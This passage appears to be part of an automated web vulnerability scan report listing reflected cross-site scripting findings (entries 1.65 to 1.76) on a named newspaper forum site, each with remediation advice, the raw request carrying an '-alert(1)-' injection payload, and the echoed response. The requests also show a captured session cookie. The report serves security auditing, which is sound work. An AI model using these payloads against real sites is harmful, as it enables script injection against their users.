Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:09 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:33 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topicbdef6"-alert(1)-"abaffde0a85/oil-price-and-iran-war";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageNa
...[SNIP]...

1.65. http://forums.mercurynews.com/topic/oil-price-and-iran-war [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-price-and-iran-war

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7b93"-alert(1)-"c1260fb02e0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/oil-price-and-iran-warb7b93"-alert(1)-"c1260fb02e0 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:14 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:38 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
f (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/oil-price-and-iran-warb7b93"-alert(1)-"c1260fb02e0";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.66. http://forums.mercurynews.com/topic/oil-price-and-iran-war [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/oil-price-and-iran-war

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 363f2"-alert(1)-"de8dec15453 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/oil-price-and-iran-war?363f2"-alert(1)-"de8dec15453=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:59 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:23 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 98092

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
(typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/oil-price-and-iran-war?363f2"-alert(1)-"de8dec15453=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.67. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/pentagon-cant-explain-missile-off-california

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe5e4"-alert(1)-"7be3daf7363 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topicfe5e4"-alert(1)-"7be3daf7363/pentagon-cant-explain-missile-off-california HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:09 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:33 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topicfe5e4"-alert(1)-"7be3daf7363/pentagon-cant-explain-missile-off-california";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURC
...[SNIP]...

1.68. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/pentagon-cant-explain-missile-off-california

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64259"-alert(1)-"06154ffc603 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/pentagon-cant-explain-missile-off-california64259"-alert(1)-"06154ffc603 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:22 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:46 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22178

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ned') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/pentagon-cant-explain-missile-off-california64259"-alert(1)-"06154ffc603";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.69. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/pentagon-cant-explain-missile-off-california

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab401"-alert(1)-"0432824b438 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/pentagon-cant-explain-missile-off-california?ab401"-alert(1)-"0432824b438=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:03 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:27 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ed') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/pentagon-cant-explain-missile-off-california?ab401"-alert(1)-"0432824b438=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.70. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d4a7"-alert(1)-"28a781fd586 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic8d4a7"-alert(1)-"28a781fd586/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:58 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:22 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22218

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic8d4a7"-alert(1)-"28a781fd586/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=get
...[SNIP]...

1.71. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e3d4"-alert(1)-"47d584067f5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy1e3d4"-alert(1)-"47d584067f5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:07 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:31 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22218

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
"";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy1e3d4"-alert(1)-"47d584067f5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.72. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20852"-alert(1)-"14a59680a3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy?20852"-alert(1)-"14a59680a3a=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:54 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:18 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23285

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy?20852"-alert(1)-"14a59680a3a=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.73. http://forums.mercurynews.com/topic/war-crisis-in-september [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/war-crisis-in-september

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4a503"-alert(1)-"208a5264286 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic4a503"-alert(1)-"208a5264286/war-crisis-in-september HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:27 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:51 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic4a503"-alert(1)-"208a5264286/war-crisis-in-september";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageN
...[SNIP]...

1.74. http://forums.mercurynews.com/topic/war-crisis-in-september [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/war-crisis-in-september

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b33de"-alert(1)-"add33b46077 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/war-crisis-in-septemberb33de"-alert(1)-"add33b46077 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:33 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:57 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
(typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/war-crisis-in-septemberb33de"-alert(1)-"add33b46077";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.75. http://forums.mercurynews.com/topic/war-crisis-in-september [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /topic/war-crisis-in-september

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57abb"-alert(1)-"ea4b545c8c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /topic/war-crisis-in-september?57abb"-alert(1)-"ea4b545c8c0=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:07:18 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:42 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 162532

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
(typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / topic/war-crisis-in-september?57abb"-alert(1)-"ea4b545c8c0=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.76. http://forums.mercurynews.com/xml/comments [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/comments

Issue detail

